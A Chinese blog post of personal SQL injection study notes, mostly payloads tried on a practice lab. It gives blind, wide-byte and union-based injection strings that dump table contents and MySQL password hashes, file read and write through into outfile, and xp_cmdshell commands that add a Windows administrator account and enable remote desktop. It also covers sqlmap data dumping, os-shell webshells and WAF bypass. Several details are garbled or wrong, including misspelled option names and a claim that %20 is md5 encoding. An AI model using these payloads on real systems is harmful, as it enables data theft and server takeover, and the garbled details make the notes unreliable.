当前位置:首页 > 程序设计 > 正文内容

sql注入

雨源1个月前 (03-28)程序设计16

sql注入.docx

布尔盲注:

任意值' and 条件 = 条件 #

vince' and length(database()) = 1 # 猜测数据库名字长度

其中 =1 是可变的长度,这里是从1开始猜测数据库名字的长度。

BPBurpSuite)中的呈现方式为

 

image.png 

 

image.png 

 

 

猜测数据库的名字,这里借助了ascii

vince' and ascii(substr(database(),1,1)) = 32#

bp中的表现形式为:vince' and ascii(substr(database(),$1$,1)) = $32$#

第一个playload为:1-14(范围任定)

第二个playload为:32-122(对应的ascii为空格-z

 

宽字节注入:

在遇到magic_quotes_gqc()魔法方法时,所有的单引号,双引号,逗号,反斜杠等都会自动加上一个转义斜杠,用来防止sql注入,但是在高版本的phpstudy中这个魔法方法被删除了,用ini_get('magic_quotes_gpc') 的值判断来替代。所以就用宽字节注入,实现原理就是在/杠前面增加一个%df,这里有个前提,编码得是BGK,不能时UTF-8,否则失效。

例如:%df or 1=1 #

 

 

暴露所有数据库的名字

mysql中,数据表信息存储在mysql.information_schema

1' union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#

 

暴露数据库下的所有表

1' union select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='pikachu'#

这里的TABLE_NAME='pikachu'可以是其他的表名,这里只是查询了库名为pikachu

执行以上代码会暴露出数据库下指定库的所有表名

例如:httpinfo,member,message,users,xssblind

 

查看表结构,也就是查看表中的字段

1' union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='pikachu' and TABLE_NAME = 'users'#

会查询出表中的字段,例如:id,username,password,level

 

查看表中的数据

1' union select 1,concat(id,'@',username,'@',password,'@',level)  from pikachu.users limit 1,1#

这里查看的是第一个数据

查看第二个数据2,1

依次往下推

 

查看数据库的用户名和密码

1' union select 1,group_concat(concat(user,authentication_string))  from mysql.user#

5.7版本的密码字段是authentication_string,往前的版本的password

查询出的密码是md5加密后的,所以需要专门解密,而且有些复杂的密码还不能马上解密

 

 

sql语句读取任意文件

前提条件:

要开启secure_file_priv;

mysql安装目录下(默认安装的话大概位置在C:\ProgramData\MySQL\MySQL Server 5.7)找到my.ini文件,打开该文件,找到[mysqld],大概位置在76行,下增加 secure-file-priv = "" 即可开启

知道站点目录;

mysql提供写入文件的权限;

sudo chmod -R 775 '/usr/bin/mysql'

其中 '/usr/bin/mysql' mysql 的安装路径

 

into outfile "路径"

select 要写入的数据 into outfile "路径名";

 

linux下给用户提供权限

chmod 777 mysql

 

 

 

 

 

刚安装时设置密码

ALTER USER 'root'@'localhost' IDENTIFIED BY 'mysql';

set global validate_password_policy=0;

set global validate_password_length=1;

#在进入mysql的界面中输入以上代码降低mysql密码强度

validate_password_dictionary_file:用于验证密码强度的字典文件路径;

validate_password_length:密码最小长度,参数默认为8,它有最小值的限定;

validate_password_mixed_case_count:密码至少要包含的大写字母和小写字母的个数;

validate_password_number_count 密码至少要包含的数字个数;

validate_password_policy:密码强度等级检查;(默认是1,即MEDIUM

validate_password_special_char_count:密码至少要包含的特殊字符个数;

1.修改密码强度等级为0,即是LOW

2.修改密码至少要包含的大写字母和小写字母的个数为0

3.修改密码至少要包含的数字个数为0

4.修改密码至少要包含的特殊字符的个数为0

5.修改密码的长度最小个数为3

 

ascees注入

ascess没有直接注入方法,全靠猜

url and exists(语句)

例如:

在微软的数据库中普遍存在一张表sysobjects,可以用来判断使用的是否是微软的数据库

例如:注入网址 and exists(select * from sysobjects)

 

sqlsever 也叫 mssql

隶属于微软的数据库,该数据库中有三种权限

sa(sysadmin) dbownerpublic

其中sa为用户的最高权限

 

判断用户是否是sa权限,sa权限有个独特的功能,就是有xp_cmdshell,如果可以开启,则说明当前用户是sa权限,反之不是。

 

sqlserver数据库中可以执行任意命令,也就是说 也可以往磁盘中写入文件,就有了安全隐患

1.开启xp_cmdshell命令

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC

sp_configure 'xp_cmdshell',1;RECONFIGURE;--

2.就可以执行任意命令了

比如说,增加新用户 ;exec master.. xp_cmdshell 'net user 用户名 密码 /add'

添加到管理员组 ;exec master.. xp_cmdshell 'net localgroup administrators 要添加的用户名 /add'

 

开启3389端口,实现远程登陆

;exec

master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Control\Termina

l Server', 'fDenyTSConnections', 'REG_DWORD',0;

 

public权限

获取当前数据库名称 要注入的url and db_name()=0--

 

url中常见md5编码 :%20则代表空格

 

注入工具推荐 

中国蚁剑

github 上搜索antsword

分两部分安装,先安装加载器部分,再安装源码部分

加载器:https://github.com/AntSwordProject/AntSword-Loader

源码:https://github.com/AntSwordProject/antSword

 

 

Pangolin(穿山甲)

暂略

--------

 

 

 

sqlmap简单介绍

参考csdnhttps://blog.csdn.net/wangyuxiang946/article/details/131236510

 

get请求

查看所有数据库名:python3 sqlmap.py -u " "  --batch --dbs

其中--batch是跳过交互过程

 

post请求:

首先先用BP抓取到包,然后复制,写入一个文件,例如:1.txt

python3 sqlmap.py -r 1.txt --batch --dbs

其他:

 -D 数据库名 --tables :查看指定数据库下的表名

-D 数据库名 --columns :查看表结构,类似于desc

 

查看你指定库表下的数据: -T 表名 --dump或者 --dump-all

python3 sqlmap.py -u "http://192.168.152.148/pikachu/vul/sqli/sqli_str.php?name=vince&submit=%E6%9F%A5%E8%AF%A2" -batch -D pikachu -T users --dump

以上代码是查看库名为pikachu,表名为users的数据

如果是--dump-all则是查看数据库下的所有表中的数据,此时就不需要指定表名了

 

获取webshell

首先用python3 sqlmap.py -r 1.txt --level 3 --risk 1 --is-dba 判断当前用户是不是管理员

python3 sqlmap.py -r 1.txt --level 3 --risk 1 --os-shell

不过执行这段命令后进入到webshell会生成两个文件:tmpbywmn.php(实现交互式) 与 tempukftw.php(生成的上传文件功能)

 

sql注入绕过WAF

方法有很多种,例如:注入时采用大小写字母混合使用,采用编码等等

 

sqlmap绕过WAF

python3 sqlmap.py --tampder apostrophemak.py

其中apostrophemak.pysqlmap中内置的方法

 

 


扫描二维码推送至手机访问。

版权声明:本文由雨源发布,如需转载请注明出处。

本文链接:http://www.yfwork.xyz/?id=7

分享给朋友:

“sql注入” 的相关文章

git和CODE CHINA 平台的使用

git和CODE CHINA 平台的使用

这里举例 :https://codechina.csdn.net/ 这个平台    CODE CHINAgit下载官网:https://git-scm.com/downloads可借鉴教程:https://chuanchuan.blog.csdn.net/article/deta...

React基础学习

React中文官网文档学习react脚手架的安装在安装react脚手架之前,要确保本地电脑中,已经安装过来nodejs的环境。安装官方脚手架 npm i -g create-react-app初始化 create-react-app 项目名...

b站视频爬取案例

b站视频爬取案例

import requests from lxml import etree import json if __name__ == '__main__':    ...

python爬取下载腾讯视频

python爬取下载腾讯视频

2025-04-16_120348.pdf原文地址:https://blog.csdn.net/weixin_73080494/article/details/142530727?ops_request_misc=%257B%2522request%255Fid%2522%253A%252225d8...

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。